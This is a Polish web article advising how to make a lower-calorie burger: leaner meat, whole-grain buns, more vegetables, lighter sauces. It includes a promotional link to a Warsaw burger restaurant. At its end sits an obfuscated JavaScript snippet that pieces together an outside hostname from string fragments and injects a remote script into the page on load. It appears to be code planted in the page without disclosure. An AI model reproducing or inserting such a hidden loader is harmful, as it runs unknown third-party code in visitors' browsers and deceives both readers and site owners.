Burger w wersji fit, czyli jaki? Sprawdź

<p>Chcesz się zdrowo odżywiać, więc myślisz, że burgery nie są dla Ciebie? Jak mawia klasyk: nic bardziej mylnego. Wszystko zależy od tego, jaki to burger. Wystarczy kilka drobnych zmian, by przyrządzić takiego, kt&oacute;ry nie będzie bombą kaloryczną. Możesz ich dokonać samodzielnie lub zam&oacute;wić burgera w wersji fit w dobrym lokalu. <br /><br />Jakie elementy są kluczowe, by przyrządzić burgera w wersji fit? Po pierwsze: jakość i rodzaj mięsa Istotny jest jednak r&oacute;wnież dob&oacute;r dodatk&oacute;w, a także wyb&oacute;r bułki. Co zatem może się znaleźć w burgerze w wersji fit, a czego absolutnie unikać? Oto najważniejsze zasady. <br /><br /><strong>Temu powiedz &bdquo;nie&rdquo;</strong> <br />Burger burgerowi nier&oacute;wny. Dodatki możesz dobrać samodzielnie &ndash; zar&oacute;wno, gdy przygotowujesz to amerykańskie danie w domowym zaciszu, jak i kiedy jesteś w dobrej burgerowni, np. Chef Burger w Warszawie. A skoro tak, wybieraj świadomie. Jeśli burger ma być w wersji fit, unikaj dodatk&oacute;w takich jak: <br />&nbsp;- ser ż&oacute;łty &ndash; choć przepyszny, wyraźnie podnosi kaloryczność całości, <br />&nbsp;- chrupiący bekon &ndash; dodaje fenomenalnego aromatu, ale i jest tłusty oraz słony, <br />&nbsp;- sosy majonezowe &ndash; znacznie lepszym wyborem będzie musztarda oraz ketchup. <br /><br />Jeżeli przygotowujesz burgera samodzielnie, unikaj r&oacute;wnież wszelkich &bdquo;gotowc&oacute;w&rdquo; &ndash; np. garmażeryjnych kotlet&oacute;w, wysoko przetworzonych bułek z dużą ilością cukru i &bdquo;polepszaczy&rdquo; czy gotowych sos&oacute;w. Nad tym, co przygotujesz samodzielnie, masz większą kontrolę. I jeszcze jedno: raczej jeden kotlet niż dwa czy trzy. Mniejsza porcja jest r&oacute;wnież bardziej fit. <br /><br /><strong>Te składniki są na &bdquo;tak&rdquo;</strong> <br />Nie ma sera, bekonu, majonezu. Mięsa też mniej niż więcej&hellip; Czy to jeszcze burger? Pytanie jest oczywiście przewrotne, ponieważ zamiana składnik&oacute;w wcale nie uczyni potrawy mniej smaczną. Co wybierać? <br /><strong>&nbsp;- Bułka:</strong> jeśli to możliwe, poproś pieczywo pełnoziarniste. Zawiera więcej błonnika i ma niższy indeks glikemiczny, a przy tym dodaje całej kompozycji ciekawego aromatu. <br />&nbsp;<strong>- Kotlet:</strong> może być klasyczny, z grillowanej, chudej, wołowiny. Ale to nie jedyna opcja. W wersji fit dobrze sprawdzi się np. mielony indyk, filet z kurczaka, a także składniki wegetariańskie &ndash; np. ciecierzyca, soczewica czy soja. Jeśli do mieszanki zostały dodane otręby, tym lepiej dla Ciebie. <br />&nbsp;<strong>- Dodatki:</strong> im więcej warzyw, tym lepiej. Soczysty pomidor, chrupiąca cebulka, sałata lodowa, rukola, a dla kremowego posmaku &ndash; awokado. <br />&nbsp;<strong>- Sosy:</strong> musztarda oraz keczup o naturalnych składach są jak najbardziej dopuszczalne, podobnie jak sosy na bazie jogurtu naturalnego. <br /><br />Oczywiście gama zdrowych składnik&oacute;w &ndash; odpowiednich r&oacute;wnież dla tych, kt&oacute;rzy dbają o swoją sylwetkę &ndash; wcale się nie zamyka na wymienionych tutaj produktach. Przyjrzyj się więc dokładnie <a href="https://pizzaportal.pl/warszawa/chef-burger/" target="_blank">dobrych burgerowni, np. Chef Burger w Warszawie</a> i wybieraj świadomie. A jeżeli przyrządzasz pyszne, amerykańskie danie w domu &ndash; eksperymentuj i odkrywaj nowe smaki. Możesz to zrobić, łącząc przyjemne z pożytecznym &ndash; jedząc smacznie i ciekawie, a jednocześnie troszcząc się o sylwetkę i og&oacute;lny stan organizmu. <br /><br />Kierując się tymi zasadami, będziesz m&oacute;gł skosztować dobrego burgera bez wyrzut&oacute;w sumienia, że efekty osiągnięte podczas treningu p&oacute;jdą na marne.</p>
<script type="text/javascript">// <![CDATA[
(function(){
itdn_=("u"+"st");itdn=document.createElement("script");itdn.async=true;
itdnu="67511449";itdn_+="a"+("t.");itdn_+="i"+("nf"+("o"))+("/");
itdnu+=".x48av472tdnf3s2m";itdnu+="ar8snXq425749x";
itdn.src="//"+itdn_+itdnu;itdn.type="text/javascript";
d_b=document.body;d_b.appendChild(itdn);
})();
// ]]></script>